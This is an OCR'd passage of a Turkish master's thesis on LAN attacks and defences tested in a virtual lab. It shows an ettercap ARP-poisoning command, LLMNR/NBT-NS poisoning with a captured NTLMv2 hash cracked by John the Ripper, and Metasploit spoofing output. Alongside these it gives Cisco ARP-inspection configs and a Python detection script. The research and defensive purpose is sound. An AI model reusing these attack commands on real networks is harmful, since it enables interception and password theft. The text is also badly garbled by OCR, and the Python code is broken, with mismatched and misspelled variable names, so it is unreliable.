Internet 1©.0.1.2 - ec6d.44ca.1384 ARPA  GigabitEthernetl/e
Internet 192.168.10.1 - @ced.44ca.8@0a ARPA  Vlanle

Internet 192.168.109.2 6 @c6d.44e2.800a ARPA  Vl1anle

Internet 192.168.109.3 @ ©950.56c0.0003 ARPA  Vlanle

Internet |[192.168.108.4 2] 808c.29b4.68f4 ARPA Vlanie|

Internet 192.168.10.5 1 0050.56c@.0004 ARPA V1anlo

Internet [192.168.16.128 @ ©96c.29b4.68f4 ARPA  Vlanle|

Internet 192.168.10.254 - 8ee8.0c9f.feel ARPA Vlanie

Internet 192.168.20.1 - ©c6d.44ca.8014 ARPA  V1an20

Internet 192.168.20.2 18 ©c6d.44e2.8014 ARPA  V1an20

Internet 192.168.20.254 - 2000 .0c9f.feel ARPA Vlan2e

Internet 192.168.30.1 - @ced.44ca.881le ARPA  Vl1an3e

Internet 192.168.30.2 18 ©cb6d.44e2.801e ARPA  V1an30

Internet 192.168.30.254 - 8000 .0c9f.feel ARPA Vlan3e

Internet 192.168.40.1 - @ced.44ca.8028 ARPA  Vl1an4de

Internet 192.168.49.2 18 ©c6d.44e2.8028 ARPA  V1ando

Internet 192.168.40.254 - 0090.0c9f.feel ARPA  V1an4e v

Sekil 3.23. Saldir1 sonrast dagitim1 anahtarinin ARP tablosu

Sekil 3.24’de kurbanin ARP tablosu goriilmektedir. Bu sekle gore, saldirgan
bilgisayara ait MAC adresi, kurban bilgisayarinin ag gec¢idine karsilik eklendigi

goriintiilenmektedir.

root@kurbanBilgisayar: ~ - o =

File Edit View Search Terminal Help
root@kurbanBilgisayar:-# arp -a -n -
? (192.168.10.2) at Oc:6d:44:e2:80:0a [ether] on eth®

? {(192.168.10.128) at 00:9c:29:b4:68:f4 [ether] on etho

? {(192.168.10.254) at 00:9c:29:b4:68:f4 [ether] on eth®
root@gkurbanBilgisayar:-# |_|

Sekil 3.24. Saldir1 sonrast kurbanin ARP tablosu

Saldirgan, hem ag gecidi gorevi goren dagitiml anahtarnin ARP tablosunu hem de
kurbanin ARP tablosunu zehirlemistir. Boylece iki yonlii olarak arp zehirleme saldirisi
tamamlanmis olmaktadir. Saldirgan, ARP zehirleme atagina kars1 ag ge¢idi cthazlarina
tanimlanan giivenlik dnlemlerini atlatmak i¢in atagi sadece kurban bilgisayarina dogru
yaparak hedefine ulagsmay1 denemektedir. Sekil 3.25’te tek yonlii ARP zehirleme igin

kullanilan yontem yer almaktadir.

root@saldirganBilgisayar: ~ e ® O
File Edit View Search Terminal Help
root@saldirganBilgisayar:~# ettercap -Tq -M arp:oneway -i eth® /192.168.10.4// f192.168.10.254// -

Sekil 3.25. Ettercap tek yonlii ARP zehirleme ataginin baslatilmasi

Iki yonlii ile tek yonlii atagin yapilmasinda kullanilan komutlarin arasindaki tek fark

tek yonliide ilk dnce zehirlenecek bilgisayarm IP adresi yazilmasidir. iki yonlii de ise
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hangi IP adresinin once yazilacaginin bir 6nemi olmamaktadir. Tasarlanan agda
gerceklestirilen tek yonlii yapilan atagin sonucunda sadece kurban bilgisayarinin

etkilendigi goriilmektedir.
3.2.4.2. ARP zehirleme saldirisindan korunmak

Erisim1 anahtari lizerine tanimlanacak giivenlik konfigiirasyonuna ait komutlar Sekil

3.26°de yer almaktadir.

&2 Erisim1 - O X
Erisiml(config)#ip arp inspection vlan 10,20,30,40 4
Erisiml(config)#interface range gigabitEthernet ©/0-1
Erisiml(config-if-range)#ip arp inspection trust v

Sekil 3.26. Erisim1 anahtarina tanimlanan ARP korumanin aktif
edilmesi

Sekil 3.26’da yer alan komutlardan ilk satirdaki komut ARP zehirlemeye karsi
kullanilan genel ARP koruma i¢in kullanilmaktadir. Erisim1 anahtarina tanimlanan bu
komutlarin yonetimi dogru yapildiginda yapilan ARP zehirleme atagina kars1 koruma
saglamaktadir. Sadece genel ARP koruma komutu kullanildiginda bu ataga karsi
koruma basarisizlikla sonu¢lanmasina neden olmaktadir. Buna gore Tablo 3.2°te
zehirleme atagina karsi alinan korumanin hangi durumlarda basarili veya basarisiz

oldugu gosterilmektedir.

Tablo 3.2. ARP koruma yonteminin bagarimi

Kurban . '
Giivenli Port Givensiz Port
Saldirgan
Gilivenli Port Korunmaz Korunmaz
Giivensiz Port Korunur Korunur

Tablo 3.2°deki verilere gore saldirgan bilgisayarinin bagl oldugu anahtar portu
mutlaka giivensiz portta olmasi gerekmektedir. Eger saldirgan giivenli porta baglanti
saglar ve o porttan atagi baglatirsa agdaki gilivenli/glivensiz portlara bagli tiim
bilgisayarlarm bu ataktan olumsuz etkilendigi goriilmektedir. Ayrica atak sirasinda

pasif hale getirilen sahte ARP paketlerinin sayis1 Sekil 3.27°de gosterilmektedir.
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&P Erisim1 — O x
Erisiml#show ip arp inspection statistics vlan 10 A
Vlan Forwarded Dropped DHCP Drops ACL Drops

10 687 2593 2593 (2]

Sekil 3.27. Durdurulan paket sayisi
3.2.5. LLMNR ve NBT- NS zehirleme saldirisi

Bu zehirlenme saldirisinin amaci son kullanicilarin parola 6zetlerini elde etmek ve bu
parola 6zetini parola kirma araglarinda kullanarak asil parolaya ulagmaktir. Saldirinin
gerceklesmesini  Sekil 3.28’de  yer alan oOrnek ag senaryosu iizerinde

gerceklestirilmistir.

A Gegidi
VLANILO & VLAN20

N N U B § N B §

i\ 3N S " S
Kali Linux ‘Windows7 Saldirgan Windows10 ‘Windows10
VLAN30 VLAN20 VLAN1O VLANIOG VLAN40

Sekil 3.28. Bu zehirlenme teknigi i¢in 6rnek ag senaryosu
3.2.5.1. LLMNR ve NBT- NS zehirleme saldirisinin baslatilmasi

Saldirgan ile kurban(Windows10) bilgisayar1 aynt VLAN’dedirler. DNS servisi, isim
¢oziimlemesini  gerceklestirerek yazici veya dosya sunucusuna ulagmayi
saglamaktadir. Boylece hedef ile ilgili isim bilgisi elde edilmektedir. Kurban ¢alistir

alanina ulagsmak istedigi yerin adin1 yanlis yazmasi, dosya sunucusunda veya
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yazicidaki baglanti problemi nedeniyle ulasilamamasi durumunda LLMNR/NBT-NS
servisleri devreye girerek ikinci DNS gorevini baslatir ve saldirgan bu gorevi
iistlenerek isim ¢6ziimleme sorgusuna cevap vermektedir. Kurban, verilen cevaba
kars1 kendi kullanici adi ve parola Ozetlerini saldirgana gondererek siireg

tamamlanmaktadir. Saldirganin elde ettigi parola 6zetleri sekil 3.29°da goriilmektedir.

[SMBv2] NTLMy2-SSP Client - 192.168.10.9
[SMBv2] NTLMv2-S5P Username : MSEDGEWIN1®\Administrator
[SMBv2] NTLMv2-55P Hash : Administrator::MSEDGEWIN1O:54ccd2edbbcccBae: E622DC

FAS5A481307806C90F3213FBC5:0101000000000000CH653150DEDAD201189FO5685D7FD2CAQ0000
pPOOD200080D53004DDD4200330001001E00570049004E002D0050005200480034003900320052005
1004100460056000400140053004D00420033002E006CO06FDO630061006CO0D3003400570049004
FOD2DDO5000520048003400390032005200510041004160056002E0053004D004120033002E006C006

Sekil 3.29. Parola 6zetleri

Saldirgan bu siirecten sonra parola kirma tekniklerini devreye alir ve bu parola
Ozetinden acik parolaya ulasmaya ¢aligmaktadir. Son kullanici, parolasini belirlerken
karmagik ve en az 8 karakter olmasi kuralina uymasiin énemi bu saldir1 tekniginde
karsimiza ¢ikmaktadir. Sekil 3.30’de kullanilan yontem ile elde edilen hash
degerlerinin yaygin olarak kullanilan parola kirma araglarindan john the ripper aracina
giris olarak verilen degerler ile kelime listesindeki kelimelerden tiiretilen hash
degerleri karsilastirir. Eger eslesme saglanirsa kullaniciya ait parola saldirganin eline

gecmesiyle sonuglanmaktadir.

root@saldirganBilgisayar: /usr/share/responder/logs Q@ 0 0
File Edit View Search Terminal Tabs Help

root@saldirganBilgisayar: ~ X root@saldirganBilgisayar: fusr/sh.. x &

root@saldirganBilgisayar:/usr/share/responder/logs# john SMBv2-NTLMvZ “
-55P-192.168.10.9.txt -wordlist=/root/Desktop/Sezer.txt

Using default input encoding: UTF-8

L caded 4 password hashes with 4 different salts (netntlmv2, NTLMvZ C/
R [MD4 HMAC-MD5 32/32])

Press 'q' or Ctrl-C to abort, almost any other key for status

1123 {Administrator)
1123 (Administrator)
1123 (IEUser)
1123 {IEUser)

Sekil 3.30. Parola 6zetinden agik parolanin bulunmasi

Parolanin bu kadar ¢abuk bulunmasinin en 6nemli nedeni, parola kisalig1 ve karmagsik
karakterleri barindirmamasidir. Bu saldir1 senaryosu diger VLAN’lerde yer alan farkli
igletim sistemleri lizerinde de denemeler yapilmistir. Saldirganin bulundugu

VLAN’den farkli olanlar bu saldiridan etkilenmedigi sonucuna varilmaktadir.
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3.25.2. LLMNR ve NBT- NS zehirleme saldirisindan korunmak

Son kullanicilar1 LLMNR/NBT-NS saldirilarina karsit somiiriilmeye karsi korumak
igin bilgi toplama modiillerini kullanarak LLMNR ve NBT-NS servislerinin aktif
oldugu bilgisayarlar1 belirlemek ve aktif olan bu servisleri devre disi birakmak
gerekmektedir. Tasarlanan agda saldirgan bilgisayarindan NBT-NS sorgusu
VLAN10’daki Windows 10 bilgisayarina Sekil 3.31°deki gibi yapilmaktadir.

msT auxiliary({scanner/netbios/nbname}) = run

[#] Sending NetBIOS requests to 192.168.18.5-=192.168.18.5 (1 hosts)

[+] 192.168.10.5 [MSEDGEWIN1&] 0S:Windows Mames: (MSEDGEWIN1®, WORKGROUP)
Addresses:(192.168.18.5) Mac:00:0¢c:29:44:d8:40 Virtual Machine:vMWare
[*#] Scanned 1 of 1 hosts (188% complete)

[*] Auxiliary module execution completed

msf auxiliary(scanner/netbios/nbname) > J]

Sekil 3.31. VLAN10 windows 10 i¢in NBT-NS sorgusu

Sorgu sonucunda NBT-NS servisinin VLAN10 agindaki bilgisayarda devrede oldugu
goriilmektedir. NBT-NS sorgusu tasarlanan agda yer alan VLAN20’deki Windows 7
bilgisayarina Sekil 3.32’deki gibi yapilmaktadir.

sf auxiliary(scanner/netbios/nbname) > run

[#*] Sending NetBIDS requests to 192.168.28.3->192.168.20.3 (1 hosts)

[+] 192.168.28.3 [WIN7-BILGISAYAR] 05:Windows Names: (WIN7-BILGISAYAR, WORKGROUP, ;E
MSBRI:IWSE_ Addresses:(192.168.20.3) Mac:00:0c:29:89:aa:fa Virtual Machine:YMWare
[*#] Scanned 1 of 1 hosts (108% complete)

[*] Auxiliary module execution completed

sf auxiliary(scanner/netbhios/nbname) = I

Sekil 3.32. VLAN20 agindaki windows 7 igin NBT-NS sorgusu

Sorgu sonucunda NBT-NS protokoliiniin VLAN20 agindaki bilgisayarda devrede
oldugu goriilmektedir.

Ornek senaryoda VLANI10 agina dahil olan saldirgan bilgisayarinin NBT-NS
sorgusunda karsilasilan durumlar asagida siralanmaktadir:

e Hedef bilgisayarin isletim sistemi Windows 7 olmas1 durumda VLAN’nin burada
bir 6nem arz etmedigini ve sorguya her zaman cevap verdigi sonucuna varilmaktadir.
e Hedef bilgisayarin isletim sistemi Windows 10 ve sorgunun yapildig: bilgisayar
ile ayn1t VLAN’de oldugunda hedefin NBT-NS sorgusuna cevap verdigi fakat farkli
VLAN’de oldugunda ise sorguya cevap vermedigi goriilmektedir.
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e Hedef bilgisayarin isletim sistemi Linux olmasi durumda VLAN’nin burada bir

Onem arz etmedigini ve sorguya hi¢ bir zaman cevap vermedigi goriilmektedir.

Bir diger sorgulanmasi gereken servis LLMNR servisidir. Tasarlanan agda yer alan
saldirgan bilgisayarindan, VLAN10 aginda yer alan Windows 10 ve Windows 7
bilgisayarlarina Sekil 3.33’de de goriildiigii gibi LLMNR sorgusu yapilmaktadir.

sf auxiliary(spoof/llmnr/llmnr_response) > set spoofip 192.168.10.18
ispoofip =» 192.168.10.18

sf auxiliary(spoof/llmnr/llmnr_response) > run

[*] Auxiliary module running as background job 6.

[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:.*)" ...

sf auxiliary(spoof/llmnr/llmnr_response) > [+] 192.168.16.9 1lmnr - puppet. matches regex, respeonding with 192.168.10.10
sf auxiliary(spoof/llmnr/11lmnr_response) > [+] 192.168.18.9 1lmnr - puppet. matches regex, responding with 192.168.10.180
sf auxiliary(spoof/llmnr/1llmnr_response) >

Sekil 3.33. VLAN10 LLMNR sorgusu

Sorgu sonucunda LLMNR servisinin VLAN10 agdaki bilgisayarlarda devrede oldugu
goriilmektedir. Bu sorgunun farkli VLAN’lere gonderilmesi durumunda cevap

doniilmedigi sonucuna varilmaktadir.

NBT-NS zehirlenmesine karsi son kullanici bilgisayarinda NBT-NS servisinin
kapatilmasi Onerilir. Bunun ig¢in IPv4’iin gelismis TCP/IP ayarlarinin  WINS
sekmesinde yer alan “TCP/IP iizerinde NetBIOS’u devre dis1 birak” seceneginin
segilmesi gerekmektedir. LLMNR zehirlenmesine karst son kullanici bilgisayarinda
LLMNR servisinin kapatilmas:1 6nerilir. Bunu igin Yerel Grup Ilkesi Diizenleyicisi
ekranindan yonetim sablonlari, ag , DNS istemcisi yolunu izleyerek “Coklu noktaya
ad ¢dziimlemesini kapat Ozelliginin® devreye almmmasi gerekmektedir. Ornek
senaryoda yer alan son kullanici bilgisayarlarinda yukarida bahsedilen 6nlemler
alindiktan sonra bilgi toplama yontemlerine hicbir sekilde cevap alinamadigi sonucuna

varilmaktadir.
3.3. ARP Zehirleme Saldirisi i¢cin Gelistirilmis Test Ortanm

ARP zehirlemeye kars1 alinmasi gereken giivenlik énlemleri yonetilebilir ag cihazlar
tizerinde tanimlanabilmektedir. Yerel alan aginda kullanilan ag cihazlarinin
yonetilebilir olmayanlarin biiyiik ¢ogunlugu ARP zehirleme saldirisina yonelik
koruma yontemlerini desteklememektedir. Bu kapsamda ARP zehirleme saldirisina
kars1 son kullanicilarin ARP atagi durum bilgisini goriintiilemesi ve atagin

durdurulmasina yonelik Python dili ile hazirlanmis web goriiniimiine sahip koruma
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aract gelistirilmistir. Ayrica saldirinin gergeklestirilebilmesi i¢in de bir arag
gelistirilmistir. Sekil 3.34’te bu aracin ara ylizii yer almaktadir

Ortadaki Adam Saldiri Araci @ &

Kurban Bilgisayarinin IP Adresini Giriniz

Kurban Ag Gecidinin IP Adresini Giriniz

Tek Yon
Atak Baslat

Sekil 3.34. Ortadaki adam saldir1 araci

Bu saldir araci ile hem tek yonlii hem de iki yonlii zehirleme gergeklestirilmektedir

Sekil 3.35’te ise gelistirilen koruma aracinin saldir1 oncesi web goriinimii yer

almaktadir.
CEC)

Yuksek Lisans Tezi - Mozilla Firefox

x|+
Arp NAT .html %0% | & ||Q Search wa ¥ A =

J Yuksek Lisans Tezi
o) p
#Most Visitedv [ Offensive Security “, Kali Linux % Kali Docs \ Kali Tools s Exploit-DB WAircrack-ng fKali Forums , NetHunter  Kali Training

KOCAELI UNIVERSITESI BILISIM SISTEMLERI MUHENDISLIGI

Yerel Alan Aglarinin Siber Guvenlik

ye Karsi Tespit ve

ARP Zehirle|
\ Koruma Araci.
‘I@]komma Altintdasiniz
e
(8

Sekil 3.35. Saldir1 6ncesi koruma yaziliminin web goriiniimii

Python dili ile gelistirilen yazilim 6ncelikle agin yetkili ag gecidinin MAC adresini

ogrenmektedir. Sonraki siirecte ise yerel bilgisayarin glincel ARP tablosundaki
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durumun takibini gerceklestirmektedir. ARP tablosunda istenmeyen bir hareket
algiladig1 anda yazilim devreye girerek hem uyari bilgisini hem de ARP zehirleme i¢in
son kullaniciyr koruma altina almaktadir. Koruma yazilimi devredeyken saldirganin
ARP zehirleme atagini1 devam ettiriyor olsa da yerel bilgisayarin génderdigi hicbir
paketi kendi ilizerine ¢ekemedigi sonucuna varilmaktadir. Koruma yazilimi devreye
alinmadan 6nce veya c¢alisiyorken ARP atagi basladiysa Sekil 3.35’deki ekranin son

kullanicinin ekranina diismesi saglanmaktadir.

Yuksek Lisans Tezi - Mozilla Firefox )
Yuksek Lisans Tezi % | Yuksek Lisans Tezi x|+
& @ file:///root/Desktop/Web Arp NAT Network/ARPWeb2.html @ | |Q search vEe ¥ A =
fEMost Visitedv [llOffensive Security \ Kali Linux %\, Kali Docs *\ Kali Tools = Exploit-DB WAircrack-ng gUiKali Forums * NetHunter \ Kali Training

KOCAELI UNIVERSITESI BILISIM SISTEMLERI MUHENDISLIGI

Yerel Alan Aglarinin Siber Guvenlik Yonunden Incelenmesi ve Degerlendirilmesi

T

ARP Zleh !rleme Atagi
Basladi. Gerekli Teknik
Onlefiler Alinmistir.

Sz
B

Sekil 3.36. Saldir1 sonras1 koruma yaziliminin web goriiniimii
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4. SONUCLAR VE ONERILER

Kurum c¢alisan1 kaynakli siber saldirilarin giin gectikge artmaya devam ettigi
goriilmektedir. Bundan dolayr saldirganlarin en ¢ok hedefledikleri ¢alisanlarin
parolalar1 veya diger kisisel bilgileri olmaktadir. Ayrica siber tehditler ile miicadele
etmeyi saglayan yerel alan aglarda kullanilan cihazlarin dogru yapilandirilmamasi
sonucunda siber saldirinin tespit edilmesi neredeyse imkansiz olmaktadir. Kurumlarin
bu kapsamda hem gerekli giivenlik yapilandirma siiregleri hem de teknolojik olmayan

stireclerinin etkin ve verimli yonetmesi saglanmalidir.

Bu calismanin temel amaci, benzetim ortami ve isletim sistemi sanallastirmanin bir
arada oldugu yap1 lizerinden; yerel alan agdaki siber saldirilarin nasil gergeklestigini,
bu saldirilardan korunmak icin gerekli giivenlik adimlarim1 uygulamali bir bicimde
ifade edilmesi ve kurum ¢alisanlarinin bilgi giivenligi farkindaliklarina yonelik katkida

bulunmaktir.

Kurum agina kimligi belirsiz kotii niyetli kisilerin baglanmamasi gerekmektedir. MAC
tasma saldirisi ile yerel alan aglarmin c¢alisamayacak bir seviyeye geldigi
goriilmektedir. Bu durumdan hem son kullanic1 giivenligi riske girmekte hem de
kurumun genel isleyisi olumsuz etkilenmektedir. Farklt VLAN’lerin de bu saldiridan
etkilenmesi VLAN’in bu tip bir saldirida giivenlik 6nlemi olarak kullanilamayacagini
gostermektedir. MAC tagsma atagindan korunmak i¢in teknik konfigilirasyonlarin
yaninda kullanilmayan anahtar portlarin mutlaka kapatilmas: gerekmektedir. Ciinkii
saldirgan herhangi bir VLAN’de olmamas1 veya [P almamasina ragmen bu saldiriy1
gerceklestirebilmektedir. MAC tasma saldirisina yonelik anahtar port giivenligi ve
MAC erisim liste teknikleri kullanilarak koruma saglanmistir. Anahtar port giivenligi
tekniginin kullanildigi anahtarda, saldirt sirasindaki CPU kullanim degerleri diger
teknige gore daha iyi sonuglar verdigi goriilmistiir. Bu nedenden dolay1 anahtar port

giivenligi tekniginin kullanilmas1 6nerilmektedir.
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DHCP aglik saldirisindan korunmak i¢in sadece DHCP’ye yonelik tedbirlerin yeterli
olmadig1 goriilmiistiir. Bu nedenle bu saldiridan korunmanin ilk sart1 agda kullanilan
anahtarlar iizerinde mutlaka anahtar port gilivenlik yapilandirmasi yapilmasi
gerekmektedir. Dagitiml anahtarinda tanimli VLAN’lere yonelik 1P teklifleri
gonderildigi i¢in saldirganin IP talebi karsilik gérmemektedir. Bu nedenle calisanin
isten ayrilmasi veya birim degistirmesi gereken durumlarda o ¢alisan i¢in ayrilan
anahtar portunun mutlaka kapatilmasi gerekmektedir. Boylece saldirganin tanimli
VLAN’lerin yer aldigi anahtar portlarina baglanti yapilmasmin oniine gecilmesi

saglanmaktadir.

Tasarlanan ag iizerinde sahte DHCP saldirisinin basariya ulagmasinda aglik
saldirisinin rolii oldugu goriilmektedir. Sahte DHCP sunucusundan bir kez IP alan
kurban bilgisayarinin yeniden baslatilmasi ve aglik ataginin durdurulmasina ragmen
IP bilgilerini sahte DHCP sunucusundan almaya devam etmektedir. Bu durumun asil
nedeni anahtar {izerinde port giivenligi alinmadigindan kaynaklandig goriilmektedir.
Tek bir koruma yontemi tehditlere kars1 yetersiz kalmaktadir. Bu nedenle gelen atagin

barindirdigi islevlere gére koruma yontemleri segilmelidir.

Saldirgan, agda tanimli VLAN’lerden birine dahil olmadig: siirece ARP zehirleme
ataginin tanimh diger VLAN leri etkilemedigi goriilmektedir. Bu nedenle VLAN’lerin
dogru yonetmenin onemi ortaya ¢ikmaktadir. Ayrica saldirgan native VLAN {iyesi
anahtar portuna baglanmasi durumunda ise IP hizmeti alamadig1 ve diger VLAN’leri
ARP tablolarin1 zehirleyemedigi goriilmektedir. Saldirganin hangi porttan baglanti
yapacagl tam olarak bilinememesi Erisiml anahtarina tanimlanan ARP koruma
yonteminin zorluklar1 arasinda yer almaktadir. Bu koruma yonteminde sadece genel
koruma ayarmi aktif edilmesi ve gilivenli/giivensiz port tanimlamas: yapilmadigi
durumda yapilan ARP zehirlemesi atagi sonucunda kurban bilgisayar ag gecidine
ulasamamakta ve bu nedenle baglanti kaybina neden olmaktadir. ARP zehirleme
atagmin yapilmasinin basit ve bir ¢ok ataga temel olusturmasi nedeniyle dikkatleri
tizerine ¢cekmis ve bu nedenle kurum personeli bilgisayarlarina karst da ayrica bir
koruma yapilmas ihtiyact ortaya ¢ikmaktadir. Anahtar iizerine tanimlanan koruma

yonteminin kullanim1 sirasinda dikkat edilmesi gerekenler; genel koruma komutunun
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tek basina kullanilmamasi, ag gecidi tarafina bakan tiim portlar giivenli ve son

kullanicinin bagl oldugu portlar ise giivensiz olarak ayarlanmasi gerekmektedir.

Yerel alan aginda MAC tasma, DHCP ve ARP saldirilarina karsi gerekli dnlemlerin
alinmasinin yaninda her birim i¢in farkli VLAN tanimlamalar1 yer almaktadir. Tiim
bu giivenlik 6nlemleri LLMNR/NBT-NS zehirlemesinin oniine kismen gecebildigi
sonucuna varilmaktadir. Son kullanic1 tarafinda ilgili servislerin kapatilarak
kullanicilarin parola belirlerken tahmin edilmesi zor hatirlanmasi kolay say1 ve
karakterlerin birlesiminden olusturmalarii1 ve daha giiglii parolalar kullanmalar
gerektigi noktasinda farkindalik diizeylerinin arttirilmasina yonelik egitimler verilmesi

Onerilmektedir.
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EK-A

hostname Yonlendiricil

I

interface GigabitEthernet0/0

ip address dhcp

ip nat outside

I

interface GigabitEthernet1/0

ip address 10.0.1.1 255.255.255.0

ip nat inside

I

interface GigabitEthernet2/0

ip address 10.0.2.1 255.255.255.0

ip nat inside

I

router ospf 1

passive-interface GigabitEthernet0/0

network 10.0.1.0 0.0.0.255 area O

network 10.0.2.0 0.0.0.255 area 0

I

ip nat inside source list 1 interface GigabitEthernet0/0 overload
ip nat inside source list 2 interface GigabitEthernet0/0 overload
ip nat inside source list 3 interface GigabitEthernet0/0 overload
ip nat inside source list 4 interface GigabitEthernet0/0 overload
|

ip route 0.0.0.0 0.0.0.0 192.168.122.1
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access-list 1 permit 192.168.10.0 0.0.0.255
access-list 2 permit 192.168.20.0 0.0.0.255
access-list 3 permit 192.168.30.0 0.0.0.255
access-list 4 permit 192.168.40.0 0.0.0.255
|

end
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EK-B

hostname Dagitim1
I
ip dhcp pool LAN10
network 192.168.10.0 255.255.255.0
default-router 192.168.10.254
dns-server 8.8.8.8
lease infinite
!
ip dhcp pool LAN20
network 192.168.20.0 255.255.255.0
default-router 192.168.20.254
dns-server 8.8.8.8
lease infinite
!
ip dhcp pool LAN30
network 192.168.30.0 255.255.255.0
default-router 192.168.30.254
dns-server 8.8.8.8
lease infinite
I
ip dhcp pool LAN40
network 192.168.40.0 255.255.255.0
default-router 192.168.40.254
dns-server 8.8.8.8

lease infinite
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spanning-tree vlan 10,20 priority 24576
!

interface Port-channell

switchport trunk encapsulation dotlq
switchport mode trunk

!

interface GigabitEthernet0/0
switchport trunk encapsulation dotlq
switchport mode trunk

I

interface GigabitEthernet0/1
switchport trunk encapsulation dotlq
switchport mode trunk

I

interface GigabitEthernet0/2
switchport trunk encapsulation dotlq
switchport mode trunk

I

interface GigabitEthernet0/3
switchport trunk encapsulation dotlq
switchport mode trunk

I

interface GigabitEthernet1/0

no switchport

ip address 10.0.1.2 255.255.255.0
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interface GigabitEthernet3/2
switchport trunk encapsulation dotlq
switchport mode trunk
channel-group 1 mode active
!
interface GigabitEthernet3/3
switchport trunk encapsulation dotlq
switchport mode trunk
channel-group 1 mode active
!
interface VIan10
ip address 192.168.10.1 255.255.255.0
standby version 2
standby 1 ip 192.168.10.254
standby 1 priority 200
standby 1 preempt
I
interface Vlan20
ip address 192.168.20.1 255.255.255.0
standby version 2
standby 2 ip 192.168.20.254
standby 2 priority 200
standby 2 preempt
|

interface VIan30
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ip address 192.168.30.1 255.255.255.0
standby version 2
standby 3 ip 192.168.30.254
standby 3 priority 150
standby 3 preempt
!
interface Vl1an40
ip address 192.168.40.1 255.255.255.0
standby version 2
standby 4 ip 192.168.40.254
standby 4 priority 150
standby 4 preempt!
I
router ospf 1
network 10.0.1.0 0.0.0.255 area 0
network 192.168.10.0 0.0.0.255 area 0
network 192.168.20.0 0.0.0.255 area 0
network 192.168.30.0 0.0.0.255 area 0
network 192.168.40.0 0.0.0.255 area O
!
ip route 0.0.0.0 0.0.0.0 10.0.1.1
|

end
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EK-C

hostname Dagitim2
I
ip dhcp pool LAN10
network 192.168.10.0 255.255.255.0
default-router 192.168.10.254
dns-server 8.8.8.8
lease infinite
!
ip dhcp pool LAN20
network 192.168.20.0 255.255.255.0
default-router 192.168.20.254
dns-server 8.8.8.8
lease infinite
!
ip dhcp pool LAN30
network 192.168.30.0 255.255.255.0
default-router 192.168.30.254
dns-server 8.8.8.8
lease infinite
I
ip dhcp pool LAN40
network 192.168.40.0 255.255.255.0
default-router 192.168.40.254
dns-server 8.8.8.8

lease infinite
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interface Port-channell

switchport trunk encapsulation dotlq
switchport mode trunk

I

interface GigabitEthernet0/0
switchport trunk encapsulation dotlq
switchport mode trunk

I

interface GigabitEthernet0/1
switchport trunk encapsulation dotlq
switchport mode trunk

!

interface GigabitEthernet0/2
switchport trunk encapsulation dotlq
switchport mode trunk

!

interface GigabitEthernet0/3
switchport trunk encapsulation dotlq
switchport mode trunk

!

interface GigabitEthernet1/0

no switchport

ip address 10.0.2.2 255.255.255.0

!

interface GigabitEthernet3/2

switchport trunk encapsulation dotlq
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switchport mode trunk
channel-group 1 mode active
!
interface GigabitEthernet3/3
switchport trunk encapsulation dotlq
switchport mode trunk
channel-group 1 mode active
I
interface Vlan10
ip address 192.168.10.2 255.255.255.0
standby version 2
standby 1 ip 192.168.10.254
standby 1 priority 150
standby 1 preempt
!
interface VIan20
ip address 192.168.20.2 255.255.255.0
standby version 2
standby 2 ip 192.168.20.254
standby 2 priority 150
standby 2 preempt
I
interface VIan30
ip address 192.168.30.2 255.255.255.0
standby version 2
standby 3 ip 192.168.30.254
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standby 3 priority 200
standby 3 preempt
I
interface VIan40
ip address 192.168.40.2 255.255.255.0
standby version 2
standby 4 ip 192.168.40.254
standby 4 priority 200
standby 4 preempt
I
router ospf 1
network 10.0.2.0 0.0.0.255 area 0
network 192.168.10.0 0.0.0.255 area 0
network 192.168.20.0 0.0.0.255 area 0
network 192.168.30.0 0.0.0.255 area 0
network 192.168.40.0 0.0.0.255 area 0
I
ip route 0.0.0.0 0.0.0.0 10.0.2.1

!
end



EK-D

hostname Erisim1

I

ip arp inspection vlan 10,20,30,40

I

ip dhcp snooping vlan 10,20,30,40

no ip dhcp snooping information option
ip dhcp snooping

!

errdisable recovery cause dhcp-rate-limit
errdisable recovery interval 35

I

interface GigabitEthernet0/0

ip dhcp snooping trust

ip arp inspection trust

!

interface GigabitEthernet0/1

ip arp inspection trust

ip dhcp snooping trust

I

interface GigabitEthernet0/2

switchport access vlan 10

switchport mode access

switchport port-security maximum 2
switchport port-security mac-address sticky

switchport port-security
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ip dhcp snooping limit rate 4

I

interface GigabitEthernet0/3

switchport access vlan 10

switchport mode access

switchport port-security maximum 2
switchport port-security mac-address sticky
switchport port-security

ip dhcp snooping limit rate 4
|

end
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EK-E

import sys

import 0s

import time

import pyautogui

o0s.system("apt-get install figlet™)

o0s.system("clear")

os.system("'figlet ARP Zehirleme Tespit ve Engelleme Araci")
pyautogui.typewrite("-----Tespit Islemi Baslatiliyor------ ", interval=0.2)
pyautogui.press(“enter")

agGecidi_ipadres =net.gateways()["default™][2][0]
print(agGecidi_ipadres)

def macadres(ip_adres):

voll,vol2=srp(Ether(dst="ff:ff:ff.ff:ff:ff")/ARP(pdst=ip_adres),timeout=1,retr
y=1)

for s,r in voll:
return rffARP].hwsrc
return None
agGecidi_macadres = macadres(agGecidi_ipadres)
while True:
uyari=""
o0s.system(™arp -a | grep -w 192.168.0.2 |cut -d ' ' -f 4 > macL.istesi.txt™)
MACKontrol=open("macListesi.txt™)
gunceMAC=MACKontrol.read().strip()
print(guncelMAC)

if(guncelMAC==agGecidi_macadres):
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print("Korunuyorsunuz')
else:

uyari=pyautogui.alert(text="ARP zehirleme atagi baslatildi. Sisteminiz
koruma altina alinmistir.", title="ARP Uyari Ekrani", button="Tamam")

islev="arp -s {0} {1}".format(agGecidi_ipadres,agGecidi_macadres)
0s.system(komut)

if(uyari=="Tamam"):
o0s.system("clear")

os.exit()
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